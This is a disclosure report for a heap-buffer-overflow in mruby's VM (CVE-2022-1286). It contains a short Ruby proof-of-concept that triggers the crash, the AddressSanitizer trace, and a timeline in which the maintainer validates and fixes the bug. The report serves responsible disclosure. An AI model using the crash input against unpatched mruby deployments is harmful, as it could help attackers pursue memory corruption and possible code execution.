heap-buffer-overflow in mrb_vm_exec in mruby/mruby in mruby/mruby

0

Valid Reported on Apr 4th 2022

Affected commit:

3cf291f72224715942beaf8553e42ba8891ab3c6

Proof of Concept

```
v10 = 0
v15 = ""
v16 = []
srand(1337)
v20 = protected_methods.fill(){||
v20 = Array.instance_eval(){|| method method private_methods.zip() rescue (
remove_method remove_method  private_methods.sample() rescue Float v16.*v15
```

Below is the output from mruby ASAN build:

```
=================================================================
==34188==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000(
READ of size 8 at 0x60300009a2b8 thread T0
    #0 0x476ca1 in mrb_vm_exec /root/mruby/src/vm.c:1205
    #1 0x475dcc in mrb_vm_run /root/mruby/src/vm.c:1132
    #2 0x4bf75e in mrb_run /root/mruby/src/vm.c:3032
    #3 0x4717c7 in mrb_funcall_with_block /root/mruby/src/vm.c:567
    #4 0x4718e9 in mrb_funcall_argv /root/mruby/src/vm.c:578
    #5 0x47009d in mrb_funcall_id /root/mruby/src/vm.c:394
    #6 0x446253 in mrb_inspect /root/mruby/src/object.c:609
    #7 0x4275d4 in mrb_vformat /root/mruby/src/error.c:347
    #8 0x427ec5 in error_va /root/mruby/src/error.c:412
```

```
    #9 0x42803d in mrb_raisef /root/mruby/src/error.c:423
    #10 0x42a56e in mrb_obj_to_sym /root/mruby/src/etc.c:69
    #11 0x41a863 in mrb_get_args /root/mruby/src/class.c:1223
    #12 0x5a9dcf in mrb_kernel_method /root/mruby/mrbgems/mruby-method/src/
    #13 0x4840ba in mrb_vm_exec /root/mruby/src/vm.c:1638
    #14 0x475dcc in mrb_vm_run /root/mruby/src/vm.c:1132
    #15 0x4bf928 in mrb_top_run /root/mruby/src/vm.c:3045
    #16 0x4eba38 in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:6891
    #17 0x4ebcd5 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/core/pa
    #18 0x40672c in main /root/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mr
    #19 0x7fb671b610b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.
    #20 0x403a7d in _start (/root/mruby/bin/mruby+0x403a7d)

0x60300009a2b8 is located 0 bytes to the right of 24-byte region [0x6030000
allocated by thread T0 here:
    #0 0x7fb671f3aaaf in __interceptor_realloc /testing/gcc/gcc_src_master/
    #1 0x44de94 in mrb_default_allocf /root/mruby/src/state.c:69
    #2 0x42b222 in mrb_realloc_simple /root/mruby/src/gc.c:227
    #3 0x42b320 in mrb_realloc /root/mruby/src/gc.c:241
    #4 0x42b409 in mrb_malloc /root/mruby/src/gc.c:257
    #5 0x46f237 in mrb_env_unshare /root/mruby/src/vm.c:287
    #6 0x46f3f8 in cipop /root/mruby/src/vm.c:304
    #7 0x48e4bc in mrb_vm_exec /root/mruby/src/vm.c:2334
    #8 0x475dcc in mrb_vm_run /root/mruby/src/vm.c:1132
    #9 0x4bf928 in mrb_top_run /root/mruby/src/vm.c:3045
    #10 0x4eba38 in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:6891
    #11 0x4ebcd5 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/core/pa
    #12 0x40672c in main /root/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mr
    #13 0x7fb671b610b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/mruby/src/vm.c:1205 i
Shadow bytes around the buggy address:
  0x0c068000b400: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x0c068000b410: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
  0x0c068000b420: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x0c068000b430: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x0c068000b440: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
=>0x0c068000b450: fd fd fa fa 00 00 00[fa]fa fa 00 00 00 00 fa fa
  0x0c068000b460: 00 00 00 00 fa fa 00 00 00 00 fa fa fd fd
  0x0c068000b470: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
```

```
  0x0c068000b480: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c068000b490: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c068000b4a0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00

Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==34188==ABORTING
```

Test Platform:

Ubuntu 18.04

Acknowledgements

This bug was found by Ken Wong(@wwkenwong) and Ming Chan(@mjcpwns) from Black Bauhinia(@blackb6a).

Occurrences:

vm.c:1205

Impact

Impact

Possible arbitrary code execution if being exploited.

CVE
CVE-2022-1286
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
Medium (5.9)

Registry
Other

Affected Version
3cf291f72224715942beaf8553e42ba8891ab3c6

Visibility
Public

Status
Fixed

Found by

wwkenwong
@wwkenwong
unranked

Fixed by

Yukihiro "Matz" Matsumoto
@matz
maintainer

This report was seen 723 times.

We are processing your report and will contact the **mruby** team within 24 hours. 8 months ago

We have contacted a member of the **mruby** team and are waiting to hear b

We have sent a follow up to the **mruby** team. We will try again in 7 days. 8 months ago

Yukihiro "Matz" Matsumoto modified the report 8 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 8 months ago

wwkenwong has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in 3.2 with commit b1d029 8 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Yukihiro 8 months ago Maintainer

Although it's severity as a security issue is not critical, it's a hard-to-find bug.
Thank you for the report.

Sign in to join this conversation